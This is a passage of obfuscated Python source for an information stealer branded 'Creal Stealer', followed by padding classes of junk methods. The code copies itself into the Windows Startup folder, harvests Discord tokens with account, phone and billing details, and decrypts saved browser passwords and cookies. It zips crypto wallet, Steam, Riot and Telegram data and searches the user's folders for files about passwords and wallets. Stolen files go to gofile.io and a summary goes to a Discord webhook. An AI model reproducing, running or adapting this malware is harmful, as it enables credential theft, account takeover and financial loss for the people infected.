'Value': 512, 'Emoji': "<:early_supporter:874750808414113823> "}, {"Name": 'House_Balance', 'Value': 256, 'Emoji': "<:balance:874750808267292683> "}, {"Name": 'House_Brilliance', 'Value': 128, 'Emoji': "<:brilliance:874750808338608199> "}, {"Name": 'House_Bravery', 'Value': 64, 'Emoji': "<:bravery:874750808388952075> "}, {"Name": 'Bug_Hunter_Level_1', 'Value': 8, 'Emoji': "<:bughunter_1:874750808426692658> "}, {"Name": 'HypeSquad_Events', 'Value': 4, 'Emoji': "<:hypesquad_events:874750808594477056> "}, {"Name": 'Partnered_Server_Owner', 'Value': 2,'Emoji': "<:partner:874750808678354964> "}, {"Name": 'Discord_Employee', 'Value': 1, 'Emoji': "<:staff:874750808728666152> "} ] for b4dg3 in b4dg3List: if flags // b4dg3["Value"] != 0: Own3dB3dg4s += b4dg3["Emoji"] flags = flags % b4dg3["Value"] return Own3dB3dg4s def G3tT0k4n1nf9(t0k3n): headers = { "Authorization": t0k3n, "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0" } us3rjs0n = loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=headers)).read().decode()) us3rn4m1 = us3rjs0n["username"] hashtag = us3rjs0n["discriminator"] em31l = us3rjs0n["email"] idd = us3rjs0n["id"] pfp = us3rjs0n["avatar"] flags = us3rjs0n["public_flags"] n1tr0 = "" ph0n3 = "" if "premium_type" in us3rjs0n: nitrot = us3rjs0n["premium_type"] if nitrot == 1: n1tr0 = "<a:DE_BadgeNitro:865242433692762122>" elif nitrot == 2: n1tr0 = "<a:DE_BadgeNitro:865242433692762122><a:autr_boost1:1038724321771786240>" if "ph0n3" in us3rjs0n: ph0n3 = f'{us3rjs0n["ph0n3"]}' return us3rn4m1, hashtag, em31l, idd, pfp, flags, n1tr0, ph0n3 def ch1ckT4k1n(t0k3n): headers = { "Authorization": t0k3n, "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0" } try: urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=headers)) return True except: return False if getattr(sys, 'frozen', False): currentFilePath = os.path.dirname(sys.executable) else: currentFilePath = os.path.dirname(os.path.abspath(__file__)) fileName = os.path.basename(sys.argv[0]) filePath = os.path.join(currentFilePath, fileName) startupFolderPath = os.path.join(os.path.expanduser('~'), 'AppData', 'Roaming', 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup') startupFilePath = os.path.join(startupFolderPath, fileName) if os.path.abspath(filePath).lower() != os.path.abspath(startupFilePath).lower(): with open(filePath, 'rb') as src_file, open(startupFilePath, 'wb') as dst_file: shutil.copyfileobj(src_file, dst_file) def upl05dT4k31(t0k3n, path): global wh00k headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0" } us3rn4m1, hashtag, em31l, idd, pfp, flags, n1tr0, ph0n3 = G3tT0k4n1nf9(t0k3n) if pfp == None: pfp = "https://cdn.discordapp.com/attachments/1068916221354983427/1074265014560620554/e6fd316fb3544f2811361a392ad73e65.jpg" else: pfp = f"https://cdn.discordapp.com/avatars/{idd}/{pfp}" b1ll1ng = G3tb1ll1ng(t0k3n) b4dg3 = G3tB4dg31(flags) friends = G3tUHQFr13ndS(t0k3n) if friends == '': friends = "```No Rare Friends```" if not b1ll1ng: b4dg3, ph0n3, b1ll1ng = "🔒", "🔒", "🔒" if n1tr0 == '' and b4dg3 == '': n1tr0 = "```None```" data = { "content": f'{globalInfo()} | `{path}`', "embeds": [ { "color": 2895667, "fields": [ { "name": "<a:hyperNOPPERS:828369518199308388> Token:", "value": f"```{t0k3n}```", "inline": True }, { "name": "<:mail:750393870507966486> Email:", "value": f"```{em31l}```", "inline": True }, { "name": "<a:1689_Ringing_Phone:755219417075417088> Phone:", "value": f"```{ph0n3}```", "inline": True }, { "name": "<:mc_earth:589630396476555264> IP:", "value": f"```{g3t1p()}```", "inline": True }, { "name": "<:woozyface:874220843528486923> Badges:", "value": f"{n1tr0}{b4dg3}", "inline": True }, { "name": "<a:4394_cc_creditcard_cartao_f4bihy:755218296801984553> Billing:", "value": f"{b1ll1ng}", "inline": True }, { "name": "<a:mavikirmizi:853238372591599617> HQ Friends:", "value": f"{friends}", "inline": False } ], "author": { "name": f"{us3rn4m1}#{hashtag} ({idd})", "icon_url": f"{pfp}" }, "footer": { "text": "Creal Stealer", "icon_url": "https://cdn.discordapp.com/attachments/1068916221354983427/1074265014560620554/e6fd316fb3544f2811361a392ad73e65.jpg" }, "thumbnail": { "url": f"{pfp}" } } ], "avatar_url": "https://cdn.discordapp.com/attachments/1068916221354983427/1074265014560620554/e6fd316fb3544f2811361a392ad73e65.jpg", "username": "Creal Stealer", "attachments": [] } L04durl1b(wh00k, data=dumps(data).encode(), headers=headers) #hersey son defa :( def R4f0rm3t(listt): e = re.findall("(\w+[a-z])",listt) while "https" in e: e.remove("https") while "com" in e: e.remove("com") while "net" in e: e.remove("net") return list(set(e)) def upload(name, link): headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0" } if name == "crcook": rb = ' | '.join(da for da in cookiWords) if len(rb) > 1000: rrrrr = R4f0rm3t(str(cookiWords)) rb = ' | '.join(da for da in rrrrr) data = { "content": f"{globalInfo()}", "embeds": [ { "title": "Creal | Cookies Stealer", "description": f"<:apollondelirmis:1012370180845883493>: **Accounts:**\n\n{rb}\n\n**Data:**\n<:cookies_tlm:816619063618568234> • **{CookiCount}** Cookies Found\n<a:CH_IconArrowRight:715585320178941993> • [CrealCookies.txt]({link})", "color": 2895667, "footer": { "text": "Creal Stealer", "icon_url": "https://cdn.discordapp.com/attachments/1068916221354983427/1074265014560620554/e6fd316fb3544f2811361a392ad73e65.jpg" } } ], "username": "Creal Stealer", "avatar_url": "https://cdn.discordapp.com/attachments/1068916221354983427/1074265014560620554/e6fd316fb3544f2811361a392ad73e65.jpg", "attachments": [] } L04durl1b(wh00k, data=dumps(data).encode(), headers=headers) return if name == "crpassw": ra = ' | '.join(da for da in paswWords) if len(ra) > 1000: rrr = R4f0rm3t(str(paswWords)) ra = ' | '.join(da for da in rrr) data = { "content": f"{globalInfo()}", "embeds": [ { "title": "Creal | Password Stealer", "description": f"<:apollondelirmis:1012370180845883493>: **Accounts**:\n{ra}\n\n**Data:**\n<a:hira_kasaanahtari:886942856969875476> • **{P4sswCount}** Passwords Found\n<a:CH_IconArrowRight:715585320178941993> • [CrealPassword.txt]({link})", "color": 2895667, "footer": { "text": "Creal Stealer", "icon_url": "https://cdn.discordapp.com/attachments/1068916221354983427/1074265014560620554/e6fd316fb3544f2811361a392ad73e65.jpg" } } ], "username": "Creal", "avatar_url": "https://cdn.discordapp.com/attachments/1068916221354983427/1074265014560620554/e6fd316fb3544f2811361a392ad73e65.jpg", "attachments": [] } L04durl1b(wh00k, data=dumps(data).encode(), headers=headers) return if name == "kiwi": data = { "content": f"{globalInfo()}", "embeds": [ { "color": 2895667, "fields": [ { "name": "Interesting files found on user PC:", "value": link } ], "author": { "name": "Creal | File Stealer" }, "footer": { "text": "Creal Stealer", "icon_url": "https://cdn.discordapp.com/attachments/1068916221354983427/1074265014560620554/e6fd316fb3544f2811361a392ad73e65.jpg" } } ], "username": "Creal Stealer", "avatar_url": "https://cdn.discordapp.com/attachments/1068916221354983427/1074265014560620554/e6fd316fb3544f2811361a392ad73e65.jpg", "attachments": [] } L04durl1b(wh00k, data=dumps(data).encode(), headers=headers) return # def upload(name, tk=''): # headers = { # "Content-Type": "application/json", # "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0" # } # # r = requests.post(hook, files=files) # LoadRequests("POST", hook, files=files) _ def wr1tef0rf1l3(data, name): path = os.getenv("TEMP") + f"\cr{name}.txt" with open(path, mode='w', encoding='utf-8') as f: f.write(f"<--Creal STEALER BEST -->\n\n") for line in data: if line[0] != '': f.write(f"{line}\n") T0k3ns = '' def getT0k3n(path, arg): if not os.path.exists(path): return path += arg for file in os.listdir(path): if file.endswith(".log") or file.endswith(".ldb") : for line in [x.strip() for x in open(f"{path}\\{file}", errors="ignore").readlines() if x.strip()]: for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", r"mfa\.[\w-]{80,95}"): for t0k3n in re.findall(regex, line): global T0k3ns if ch1ckT4k1n(t0k3n): if not t0k3n in T0k3ns: # print(token) T0k3ns += t0k3n upl05dT4k31(t0k3n, path) P4ssw = [] def getP4ssw(path, arg): global P4ssw, P4sswCount if not os.path.exists(path): return pathC = path + arg + "/Login Data" if os.stat(pathC).st_size == 0: return tempfold = temp + "cr" + ''.join(random.choice('bcdefghijklmnopqrstuvwxyz') for i in range(8)) + ".db" shutil.copy2(pathC, tempfold) conn = sql_connect(tempfold) cursor = conn.cursor() cursor.execute("SELECT action_url, username_value, password_value FROM logins;") data = cursor.fetchall() cursor.close() conn.close() os.remove(tempfold) pathKey = path + "/Local State" with open(pathKey, 'r', encoding='utf-8') as f: local_state = json_loads(f.read()) master_key = b64decode(local_state['os_crypt']['encrypted_key']) master_key = CryptUnprotectData(master_key[5:]) for row in data: if row[0] != '': for wa in keyword: old = wa if "https" in wa: tmp = wa wa = tmp.split('[')[1].split(']')[0] if wa in row[0]: if not old in paswWords: paswWords.append(old) P4ssw.append(f"UR1: {row[0]} | U53RN4M3: {row[1]} | P455W0RD: {D3kryptV4lU3(row[2], master_key)}") P4sswCount += 1 wr1tef0rf1l3(P4ssw, 'passw') C00k13 = [] def getC00k13(path, arg): global C00k13, CookiCount if not os.path.exists(path): return pathC = path + arg + "/Cookies" if os.stat(pathC).st_size == 0: return tempfold = temp + "cr" + ''.join(random.choice('bcdefghijklmnopqrstuvwxyz') for i in range(8)) + ".db" shutil.copy2(pathC, tempfold) conn = sql_connect(tempfold) cursor = conn.cursor() cursor.execute("SELECT host_key, name, encrypted_value FROM cookies") data = cursor.fetchall() cursor.close() conn.close() os.remove(tempfold) pathKey = path + "/Local State" with open(pathKey, 'r', encoding='utf-8') as f: local_state = json_loads(f.read()) master_key = b64decode(local_state['os_crypt']['encrypted_key']) master_key = CryptUnprotectData(master_key[5:]) for row in data: if row[0] != '': for wa in keyword: old = wa if "https" in wa: tmp = wa wa = tmp.split('[')[1].split(']')[0] if wa in row[0]: if not old in cookiWords: cookiWords.append(old) C00k13.append(f"{row[0]} TRUE / FALSE 2597573456 {row[1]} {D3kryptV4lU3(row[2], master_key)}") CookiCount += 1 wr1tef0rf1l3(C00k13, 'cook') def G3tD1sc0rd(path, arg): if not os.path.exists(f"{path}/Local State"): return pathC = path + arg pathKey = path + "/Local State" with open(pathKey, 'r', encoding='utf-8') as f: local_state = json_loads(f.read()) master_key = b64decode(local_state['os_crypt']['encrypted_key']) master_key = CryptUnprotectData(master_key[5:]) # print(path, master_key) for file in os.listdir(pathC): # print(path, file) if file.endswith(".log") or file.endswith(".ldb") : for line in [x.strip() for x in open(f"{pathC}\\{file}", errors="ignore").readlines() if x.strip()]: for t0k3n in re.findall(r"dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^\"]*", line): global T0k3ns t0k3nDecoded = D3kryptV4lU3(b64decode(t0k3n.split('dQw4w9WgXcQ:')[1]), master_key) if ch1ckT4k1n(t0k3nDecoded): if not t0k3nDecoded in T0k3ns: # print(token) T0k3ns += t0k3nDecoded # writeforfile(Tokens, 'tokens') upl05dT4k31(t0k3nDecoded, path) def GatherZips(paths1, paths2, paths3): thttht = [] for patt in paths1: a = threading.Thread(target=Z1pTh1ngs, args=[patt[0], patt[5], patt[1]]) a.start() thttht.append(a) for patt in paths2: a = threading.Thread(target=Z1pTh1ngs, args=[patt[0], patt[2], patt[1]]) a.start() thttht.append(a) a = threading.Thread(target=ZipTelegram, args=[paths3[0], paths3[2], paths3[1]]) a.start() thttht.append(a) for thread in thttht: thread.join() global WalletsZip, GamingZip, OtherZip # print(WalletsZip, GamingZip, OtherZip) wal, ga, ot = "",'','' if not len(WalletsZip) == 0: wal = ":coin: • Wallets\n" for i in WalletsZip: wal += f"└─ [{i[0]}]({i[1]})\n" if not len(WalletsZip) == 0: ga = ":video_game: • Gaming:\n" for i in GamingZip: ga += f"└─ [{i[0]}]({i[1]})\n" if not len(OtherZip) == 0: ot = ":tickets: • Apps\n" for i in OtherZip: ot += f"└─ [{i[0]}]({i[1]})\n" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0" } data = { "content": globalInfo(), "embeds": [ { "title": "Creal Zips", "description": f"{wal}\n{ga}\n{ot}", "color": 2895667, "footer": { "text": "Creal Stealer", "icon_url": "https://cdn.discordapp.com/attachments/1068916221354983427/1074265014560620554/e6fd316fb3544f2811361a392ad73e65.jpg" } } ], "username": "Creal Stealer", "avatar_url": "https://cdn.discordapp.com/attachments/1068916221354983427/1074265014560620554/e6fd316fb3544f2811361a392ad73e65.jpg", "attachments": [] } L04durl1b(wh00k, data=dumps(data).encode(), headers=headers) def ZipTelegram(path, arg, procc): global OtherZip pathC = path name = arg if not os.path.exists(pathC): return subprocess.Popen(f"taskkill /im {procc} /t /f >nul 2>&1", shell=True) zf = ZipFile(f"{pathC}/{name}.zip", "w") for file in os.listdir(pathC): if not ".zip" in file and not "tdummy" in file and not "user_data" in file and not "webview" in file: zf.write(pathC + "/" + file) zf.close() lnik = uploadToAnonfiles(f'{pathC}/{name}.zip') #lnik = "https://google.com" os.remove(f"{pathC}/{name}.zip") OtherZip.append([arg, lnik]) def Z1pTh1ngs(path, arg, procc): pathC = path name = arg global WalletsZip, GamingZip, OtherZip # subprocess.Popen(f"taskkill /im {procc} /t /f", shell=True) # os.system(f"taskkill /im {procc} /t /f") if "nkbihfbeogaeaoehlefnkodbefgpgknn" in arg: browser = path.split("\\")[4].split("/")[1].replace(' ', '') name = f"Metamask_{browser}" pathC = path + arg if not os.path.exists(pathC): return subprocess.Popen(f"taskkill /im {procc} /t /f >nul 2>&1", shell=True) if "Wallet" in arg or "NationsGlory" in arg: browser = path.split("\\")[4].split("/")[1].replace(' ', '') name = f"{browser}" elif "Steam" in arg: if not os.path.isfile(f"{pathC}/loginusers.vdf"): return f = open(f"{pathC}/loginusers.vdf", "r+", encoding="utf8") data = f.readlines() # print(data) found = False for l in data: if 'RememberPassword"\t\t"1"' in l: found = True if found == False: return name = arg zf = ZipFile(f"{pathC}/{name}.zip", "w") for file in os.listdir(pathC): if not ".zip" in file: zf.write(pathC + "/" + file) zf.close() lnik = uploadToAnonfiles(f'{pathC}/{name}.zip') #lnik = "https://google.com" os.remove(f"{pathC}/{name}.zip") if "Wallet" in arg or "eogaeaoehlef" in arg: WalletsZip.append([name, lnik]) elif "NationsGlory" in name or "Steam" in name or "RiotCli" in name: GamingZip.append([name, lnik]) else: OtherZip.append([name, lnik]) def GatherAll(): ' Default Path < 0 > ProcesName < 1 > Token < 2 > Password < 3 > Cookies < 4 > Extentions < 5 > ' browserPaths = [ [f"{roaming}/Opera Software/Opera GX Stable", "opera.exe", "/Local Storage/leveldb", "/", "/Network", "/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn" ], [f"{roaming}/Opera Software/Opera Stable", "opera.exe", "/Local Storage/leveldb", "/", "/Network", "/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn" ], [f"{roaming}/Opera Software/Opera Neon/User Data/Default", "opera.exe", "/Local Storage/leveldb", "/", "/Network", "/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn" ], [f"{local}/Google/Chrome/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn" ], [f"{local}/Google/Chrome SxS/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn" ], [f"{local}/BraveSoftware/Brave-Browser/User Data", "brave.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn" ], [f"{local}/Yandex/YandexBrowser/User Data", "yandex.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/HougaBouga/nkbihfbeogaeaoehlefnkodbefgpgknn" ], [f"{local}/Microsoft/Edge/User Data", "edge.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn" ] ] discordPaths = [ [f"{roaming}/Discord", "/Local Storage/leveldb"], [f"{roaming}/Lightcord", "/Local Storage/leveldb"], [f"{roaming}/discordcanary", "/Local Storage/leveldb"], [f"{roaming}/discordptb", "/Local Storage/leveldb"], ] PathsToZip = [ [f"{roaming}/atomic/Local Storage/leveldb", '"Atomic Wallet.exe"', "Wallet"], [f"{roaming}/Exodus/exodus.wallet", "Exodus.exe", "Wallet"], ["C:\Program Files (x86)\Steam\config", "steam.exe", "Steam"], [f"{roaming}/NationsGlory/Local Storage/leveldb", "NationsGlory.exe", "NationsGlory"], [f"{local}/Riot Games/Riot Client/Data", "RiotClientServices.exe", "RiotClient"] ] Telegram = [f"{roaming}/Telegram Desktop/tdata", 'telegram.exe', "Telegram"] for patt in browserPaths: a = threading.Thread(target=getT0k3n, args=[patt[0], patt[2]]) a.start() Threadlist.append(a) for patt in discordPaths: a = threading.Thread(target=G3tD1sc0rd, args=[patt[0], patt[1]]) a.start() Threadlist.append(a) for patt in browserPaths: a = threading.Thread(target=getP4ssw, args=[patt[0], patt[3]]) a.start() Threadlist.append(a) ThCokk = [] for patt in browserPaths: a = threading.Thread(target=getC00k13, args=[patt[0], patt[4]]) a.start() ThCokk.append(a) threading.Thread(target=GatherZips, args=[browserPaths, PathsToZip, Telegram]).start() for thread in ThCokk: thread.join() DETECTED = TR6st(C00k13) if DETECTED == True: return for patt in browserPaths: threading.Thread(target=Z1pTh1ngs, args=[patt[0], patt[5], patt[1]]).start() for patt in PathsToZip: threading.Thread(target=Z1pTh1ngs, args=[patt[0], patt[2], patt[1]]).start() threading.Thread(target=ZipTelegram, args=[Telegram[0], Telegram[2], Telegram[1]]).start() for thread in Threadlist: thread.join() global upths upths = [] for file in ["crpassw.txt", "crcook.txt"]: # upload(os.getenv("TEMP") + "\\" + file) upload(file.replace(".txt", ""), uploadToAnonfiles(os.getenv("TEMP") + "\\" + file)) def uploadToAnonfiles(path): try:return requests.post(f'https://{requests.get("https://api.gofile.io/getServer").json()["data"]["server"]}.gofile.io/uploadFile', files={'file': open(path, 'rb')}).json()["data"]["downloadPage"] except:return False # def uploadToAnonfiles(path):s # try: # files = { "file": (path, open(path, mode='rb')) } # upload = requests.post("https://transfer.sh/", files=files) # url = upload.text # return url # except: # return False def KiwiFolder(pathF, keywords): global KiwiFiles maxfilesperdir = 7 i = 0 listOfFile = os.listdir(pathF) ffound = [] for file in listOfFile: if not os.path.isfile(pathF + "/" + file): return i += 1 if i <= maxfilesperdir: url = uploadToAnonfiles(pathF + "/" + file) ffound.append([pathF + "/" + file, url]) else: break KiwiFiles.append(["folder", pathF + "/", ffound]) KiwiFiles = [] def KiwiFile(path, keywords): global KiwiFiles fifound = [] listOfFile = os.listdir(path) for file in listOfFile: for worf in keywords: if worf in file.lower(): if os.path.isfile(path + "/" + file) and ".txt" in file: fifound.append([path + "/" + file, uploadToAnonfiles(path + "/" + file)]) break if os.path.isdir(path + "/" + file): target = path + "/" + file KiwiFolder(target, keywords) break KiwiFiles.append(["folder", path, fifound]) def Kiwi(): user = temp.split("\AppData")[0] path2search = [ user + "/Desktop", user + "/Downloads", user + "/Documents" ] key_wordsFolder = [ "account", "acount", "passw", "secret", "senhas", "contas", "backup", "2fa", "importante", "privado", "exodus", "exposed", "perder", "amigos", "empresa", "trabalho", "work", "private", "source", "users", "username", "login", "user", "usuario", "log" ] key_wordsFiles = [ "passw", "mdp", "motdepasse", "mot_de_passe", "login", "secret", "account", "acount", "paypal", "banque", "account", "metamask", "wallet", "crypto", "exodus", "discord", "2fa", "code", "memo", "compte", "token", "backup", "secret", "mom", "family" ] wikith = [] for patt in path2search: kiwi = threading.Thread(target=KiwiFile, args=[patt, key_wordsFiles]);kiwi.start() wikith.append(kiwi) return wikith global keyword, cookiWords, paswWords, CookiCount, P4sswCount, WalletsZip, GamingZip, OtherZip keyword = [ 'mail', '[coinbase](https://coinbase.com)', '[sellix](https://sellix.io)', '[gmail](https://gmail.com)', '[steam](https://steam.com)', '[discord](https://discord.com)', '[riotgames](https://riotgames.com)', '[youtube](https://youtube.com)', '[instagram](https://instagram.com)', '[tiktok](https://tiktok.com)', '[twitter](https://twitter.com)', '[facebook](https://facebook.com)', 'card', '[epicgames](https://epicgames.com)', '[spotify](https://spotify.com)', '[yahoo](https://yahoo.com)', '[roblox](https://roblox.com)', '[twitch](https://twitch.com)', '[minecraft](https://minecraft.net)', 'bank', '[paypal](https://paypal.com)', '[origin](https://origin.com)', '[amazon](https://amazon.com)', '[ebay](https://ebay.com)', '[aliexpress](https://aliexpress.com)', '[playstation](https://playstation.com)', '[hbo](https://hbo.com)', '[xbox](https://xbox.com)', 'buy', 'sell', '[binance](https://binance.com)', '[hotmail](https://hotmail.com)', '[outlook](https://outlook.com)', '[crunchyroll](https://crunchyroll.com)', '[telegram](https://telegram.com)', '[pornhub](https://pornhub.com)', '[disney](https://disney.com)', '[expressvpn](https://expressvpn.com)', 'crypto', '[uber](https://uber.com)', '[netflix](https://netflix.com)' ] CookiCount, P4sswCount = 0, 0 cookiWords = [] paswWords = [] WalletsZip = [] # [Name, Link] GamingZip = [] OtherZip = [] GatherAll() DETECTED = TR6st(C00k13) # DETECTED = False if not DETECTED: wikith = Kiwi() for thread in wikith: thread.join() time.sleep(0.2) filetext = "\n" for arg in KiwiFiles: if len(arg[2]) != 0: foldpath = arg[1] foldlist = arg[2] filetext += f"📁 {foldpath}\n" for ffil in foldlist: a = ffil[0].split("/") fileanme = a[len(a)-1] b = ffil[1] filetext += f"└─:open_file_folder: [{fileanme}]({b})\n" filetext += "\n" upload("kiwi", filetext) class UMuzEjUeXvllG: def __init__(self): self.__GmbYmdILLuYRlZim() self.__NhiBgGJi() self.__EOZkWGNvefQhdjkdSv() self.__LEpwJFCrqe() self.__RaxQsbUaiXFuosjLjFL() self.__gFyMUBeclxAMSuLGFI() self.__peuqNPJgSViqteJ() self.__ZYLcqbHdYTIqqL() self.__MgiXVFfX() def __GmbYmdILLuYRlZim(self, UuRZkBenvdQaxpr, EhsaszgQ, WusaqAueWgoRuFJxREl, rTaQFK, ikgVdCv, CjYaFqqV): return self.__EOZkWGNvefQhdjkdSv() def __NhiBgGJi(self, CuBzwZqZVh, vrQntwSfuo, ZNLesUnrw): return self.__EOZkWGNvefQhdjkdSv() def __EOZkWGNvefQhdjkdSv(self, ruDEFEVIMPuljxbIum, IcZbAuTO, ZCpTMCgZXOvOlb, XVHYWuS, ROkgZ): return self.__ZYLcqbHdYTIqqL() def __LEpwJFCrqe(self, mBAvgegohAEQ, ZGIXDTrwFUgGewuTBXzh): return self.__MgiXVFfX() def __RaxQsbUaiXFuosjLjFL(self, MibIKA, JcQaeKrMlNwgyDHed, uIebkvmF): return self.__NhiBgGJi() def __gFyMUBeclxAMSuLGFI(self, MYUajyiy, BZVlJGwK, EBUTLJKOimGrKIz): return self.__RaxQsbUaiXFuosjLjFL() def __peuqNPJgSViqteJ(self, dfhmeiu, krzPWxIcOiiph, FQzPGDNGDVdCKv, mdahQWJOsQchfE, sSeXHRweF, JtssGUuPX, iczMCP): return self.__EOZkWGNvefQhdjkdSv() def __ZYLcqbHdYTIqqL(self, PFmMRmYOBVWmaYxGPGlA, zWfUDzjwPom, KqIDQiGd): return self.__gFyMUBeclxAMSuLGFI() def __MgiXVFfX(self, fnlLoUMWepkOH, novVDxupN, DERJFMepAMkw, srnJyEhmsJe): return self.__peuqNPJgSViqteJ() class MyyxEelpTrPksTrw: def __init__(self): self.__QkfRfCTqYThuUeydeFyD() self.__DWJHRfjGqB() self.__thtJrhVr() self.__xkjEZmiSc() self.__vcOiedwWgTvpEDCB() self.__eieGIJsrcEe() self.__OyxRiLwQvnfq() self.__owWjslNAP() self.__eXzXntNJSfHAwgaaZt() self.__kQoUCzwslOWUqwmVvcD() self.__VquWeGLaRnLufGRB() self.__MgvalQPJJNksXtETN() self.__GwpbtIFkrJrairDFH() self.__EHdJSFvuFJFjZBMig() def __QkfRfCTqYThuUeydeFyD(self, fgFbSWVpQckROBnTaSm, HMLrGyKOxlDSkMGVgpbD, QoZKxaSlDI, QsZdC, xqjzzvCiHMXGS): return self.__eieGIJsrcEe() def __DWJHRfjGqB(self, jNDlYztAuakaOymZBAsm): return self.__OyxRiLwQvnfq() def __thtJrhVr(self, kmsbrQU, zkWxzrSpAplFToQ, YAfmZNUcdUql, iUyJWbCtKz): return self.__GwpbtIFkrJrairDFH() def __xkjEZmiSc(self, bczsIBdiuHfSJGU, VUgMZdg, RHLWzJstniHqvDdxC, xPZEtsvLqpQqTLSvnE, eVGntuiaHHBkASB, qQpwvmQuAxSp): return self.__GwpbtIFkrJrairDFH() def __vcOiedwWgTvpEDCB(self, TnUAnEnDVHBiWwQWHtO, RCrhZNzXZjYoxHYSS, WYbyRC, YGpUbYFgSdVtbXTMwzz, hIcNxUH): return self.__VquWeGLaRnLufGRB() def __eieGIJsrcEe(self, SUUrwSYIwm): return self.__eXzXntNJSfHAwgaaZt() def __OyxRiLwQvnfq(self, UOAPNJpIPpYQvj, KitIKzpjf): return self.__owWjslNAP() def __owWjslNAP(self, akxyVB): return self.__OyxRiLwQvnfq() def __eXzXntNJSfHAwgaaZt(self, pERYNxddVfStT): return self.__eXzXntNJSfHAwgaaZt() def __kQoUCzwslOWUqwmVvcD(self, bTobxUgnChsLBBSOo, aKKNjTVfZeuiPomMXC, JrDOIwYiCsmXOAcXRqm, CfDhTQIehD, BaOFKHurHvmimzowgf, sRfEiqua): return self.__eXzXntNJSfHAwgaaZt() def __VquWeGLaRnLufGRB(self, uoyUKwYsH, vLbuxn, SwLOdODTIk, nphLBFUfRMhfJVHtqJ, jyQopQuK, GANyjBolniinXQuWR): return self.__DWJHRfjGqB() def __MgvalQPJJNksXtETN(self, sySbumy, IrmHfulbr, pcnHSAPUSULkJRTjeRe, MbCYjCHEXmD, bBjrjmglUddxjDi): return self.__kQoUCzwslOWUqwmVvcD() def __GwpbtIFkrJrairDFH(self, HVCmdhwWAm, JryuNN, TfYkNezZkdVmlYKSQFy): return self.__MgvalQPJJNksXtETN() def __EHdJSFvuFJFjZBMig(self, JzmxOGMpLfQWVQynasUD, jJymYd): return self.__MgvalQPJJNksXtETN() class SUDzAVSHlvezMiCkG: def __init__(self): self.__NUlixBAraOAiTiCcfo() self.__UkWDpZqexgfGxqDsrRHu() self.__VHuzhLYrJLzTsE() self.__eSjsJpBozLq() self.__hcjoCgdQlgIxpEI() self.__JCKeABnFPGmNAg() self.__RKnmCzHnKHnsfdi() self.__iIvemkzwwCbe() self.__mSiISaDz() self.__uHoYRtNdXTMucwgXY() self.__huRfFwwhAnCMEMCnsriV() def __NUlixBAraOAiTiCcfo(self, IipDDmQz, eqOcokAUrURNdqkLbn, OnKKsBJC, swfMrZPfadnF, xBoAYJctnHHoDjF): return self.__NUlixBAraOAiTiCcfo() def __UkWDpZqexgfGxqDsrRHu(self, tOpzb, KWwrCDRmyKn, SJWvubPLPbYQuByQW, EuhRCXcgdLDay): return self.__NUlixBAraOAiTiCcfo() def __VHuzhLYrJLzTsE(self, YVfnXvFXZOfoA, yeUIGiuphLy, KgdoNlxpyixEC, WfUDdwnvZe, sCCDEIvuifAjdphi, OIOxsSXeCYFgzN, VPmyN): return self.__mSiISaDz() def __eSjsJpBozLq(self, RndfbKJaGvthemmvLD, vZgjJ, EBsgVHgOCvCH, SXGRJuPordhT, WUdDYbyPv, CxUsbDyw): return self.__hcjoCgdQlgIxpEI() def __hcjoCgdQlgIxpEI(self, wLXKgixbaXzqmcXGbv, VByysakms, nTJwCyWuiRViV, ssJiNd, aADBA): return self.__NUlixBAraOAiTiCcfo() def __JCKeABnFPGmNAg(self, ecCSydRR, GdVMayweSyk, hakOPIythRJzPcMadd, LieUSsEqksNIJMIqbxWe): return self.__iIvemkzwwCbe() def __RKnmCzHnKHnsfdi(self, FCgqSSgMjZCeJJy, HSNDm, KRwWaOdqJrsIluh, HvdRtlgJgY, StfeJIWtjZPDvQPSeT): return self.__NUlixBAraOAiTiCcfo() def __iIvemkzwwCbe(self, nJVgNoRCHHWTW, LnMUsWqEnLmQPbfYq, hPUyNqbkMAOY): return self.__mSiISaDz() def __mSiISaDz(self, osWhKyuPNqyYn): return self.__uHoYRtNdXTMucwgXY() def __uHoYRtNdXTMucwgXY(self, pCCewDhHOkOUxaIGy, XzBSE, EZJKhziqegvSSQm, CAsxyaJD): return self.__iIvemkzwwCbe() def __huRfFwwhAnCMEMCnsriV(self, dSBCMPLnWFZOYx, xGdkIuT, RirCezPEE, rsXHVLZiOrxYWSV): return self.__NUlixBAraOAiTiCcfo() class FmKDYOCurAxayEGs: def __init__(self): self.__IZqYixfMNAPOVeBDEGE() self.__uBTxwbGCrIbGwo() self.__gjAiAbgh() self.__qjvfpzNMz() self.__CGNnyyAigiHz() self.__wQnXJhWLiUEmYlLxkoD() self.__GUXtLxvoaRrkwaH() self.__lyJffElHL() 